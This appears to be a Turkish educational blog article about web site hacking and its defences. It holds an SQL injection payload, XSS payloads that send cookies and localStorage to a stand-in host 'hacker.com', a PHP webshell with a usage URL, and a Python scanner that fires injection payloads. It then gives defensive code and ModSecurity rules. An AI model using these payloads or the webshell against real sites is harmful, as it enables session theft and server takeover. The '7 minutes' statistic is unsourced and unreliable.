Yayın Tarihi: 2 Haziran 2025
⚠️ ETİK HACKING UYARISI: Bu makale sadece eğitim ve savunma amaçlıdır. Kendi sistemlerinizde veya izin alınmış ortamlarda test yapın!
🔥 ŞOKE EDİCİ GERÇEK: 2025 yılında bir web sitesini hacklemek ortalama 7 dakika sürüyor! Bu makalede gerçek saldırı tekniklerini ve etkili korunma yöntemlerini öğreneceksiniz.
Web sitesi hackleme, web uygulamalarındaki güvenlik açıklarını kullanarak yetkisiz erişim sağlama işlemidir. 2025 yılında bu süreç dramatik şekilde hızlandı ve otomatikleşti.
"2025'te web hacking artık saniye meselesi haline geldi" - Ayberk Irmak
Nasıl Çalışır: Veritabanı sorgularına zararlı kod enjekte etme
Örnek Saldırı:
# Zafiyetli kod
$query = "SELECT * FROM users WHERE username = '" . $_POST['username'] . "'";
# Saldırı payload'ı
username: admin' OR 1=1 --
# Sonuç: Tüm kullanıcı verileri sızdırılır
Gerçek Senaryo: E-ticaret sitesinde login formu üzerinden 3 dakikada 150.000 müşteri verisi çalındı.
Zarar Potansiyeli: Kullanıcı hesaplarını ele geçirme
Saldırı Örneği:
# Basit XSS payload
<script>document.location='http://hacker.com/steal.php?cookie='+document.cookie</script>
# Gelişmiş XSS - Session çalma
<script>
fetch('https://hacker.com/steal', {
method: 'POST',
body: JSON.stringify({
cookies: document.cookie,
localStorage: localStorage,
url: window.location.href
})
});
</script>
Teknik: Zararlı dosya yükleme ile webshell erişimi
PHP Webshell Örneği:
<?php
if(isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];
system($cmd);
}
?>
# Kullanım: http://target.com/uploads/shell.php?cmd=whoami
import requests
import re
from urllib.parse import urljoin
class WebVulnScanner:
def __init__(self, target_url):
self.target = target_url
self.vulnerabilities = []
def scan_sql_injection(self, params):
"""SQL injection taraması"""
sql_payloads = [
"' OR 1=1 --",
"' UNION SELECT NULL --",
"' AND 1=2 UNION SELECT 1,2,3 --"
]
for payload in sql_payloads:
test_params = params.copy()
test_params['id'] = payload
response = requests.get(self.target, params=test_params)
# SQL hata kontrolü
sql_errors = ['mysql_fetch_array', 'ORA-', 'syntax error']
for error in sql_errors:
if error.lower() in response.text.lower():
self.vulnerabilities.append({
'type': 'SQL Injection',
'payload': payload,
'severity': 'HIGH'
})
return True
return False
def scan_xss(self, params):
"""XSS taraması"""
xss_payloads = [
"<script>alert('XSS')</script>",
"<img src=x onerror=alert(1)>",
"javascript:alert('XSS')"
]
for payload in xss_payloads:
test_params = params.copy()
test_params['search'] = payload
response = requests.get(self.target, params=test_params)
if payload in response.text:
self.vulnerabilities.append({
'type': 'XSS',
'payload': payload,
'severity': 'MEDIUM'
})
return True
return False
def full_scan(self):
"""Tam güvenlik taraması"""
print(f"[*] Tarama başlatılıyor: {self.target}")
# Test parametreleri
test_params = {'id': '1', 'search': 'test'}
# SQL Injection testi
if self.scan_sql_injection(test_params):
print("[!] SQL Injection zafiyeti bulundu!")
# XSS testi
if self.scan_xss(test_params):
print("[!] XSS zafiyeti bulundu!")
print(f"[*] Tarama tamamlandı. {len(self.vulnerabilities)} zafiyet bulundu.")
return self.vulnerabilities
# Kullanım
scanner = WebVulnScanner("http://testphp.vulnweb.com")
vulnerabilities = scanner.full_scan()
Güvenli Kod Örneği:
# SQL Injection koruması
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$user_id]);
# XSS koruması
$clean_input = htmlspecialchars($_POST['data'], ENT_QUOTES, 'UTF-8');
# File upload koruması
$allowed_types = ['jpg', 'png', 'gif'];
$file_ext = pathinfo($_FILES['upload']['name'], PATHINFO_EXTENSION);
if (!in_array($file_ext, $allowed_types)) {
die("Geçersiz dosya tipi!");
}
ModSecurity Kuralları:
# SQL Injection koruması
SecRule ARGS "@detectSQLi" "id:1001,phase:2,block,msg:'SQL Injection Detected'"
# XSS koruması
SecRule ARGS "@detectXSS" "id:1002,phase:2,block,msg:'XSS Attack Detected'"
# File upload koruması
SecRule FILES_TMPNAMES "@inspectFile /usr/bin/clamscan" "id:1003,phase:2,block"
# .htaccess dosyasına eklenecek güvenlik başlıkları
Header always set X-Content-Type-Options nosniff
Header always set X-Frame-Options DENY
Header always set X-XSS-Protection "1; mode=block"
Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains"
Header always set Content-Security-Policy "default-src 'self'"
2025 yılında web sitesi hackleme teknikleri çok gelişti ve hızlandı. Ortalama 7 dakikada bir web sitesi ele geçirilebiliyor. Bu nedenle proaktif güvenlik önlemleri almak kritik önem taşıyor.
Unutmayın: Saldırganlar sadece bir açık kapı arıyor, siz ise tüm kapıları güvende tutmalısınız!
Bu bilgileri sadece savunma ve eğitim amaçlı kullanın. Etik kurallara uygun hareket edin!
Bu makale web güvenliği farkındalığını artırmak amacıyla hazırlanmıştır. Tüm teknikler sadece etik hacking ve eğitim kapsamında kullanılmalıdır.
Saldırganlar sadece bir açık kapı arıyor, siz ise tüm kapıları güvende tutmalısınız!
Etik HackerCopyright © 2024 Betay Bilişim
Yorum Yap
E-posta adresiniz yorumunuzda yayınlanmayacaktır.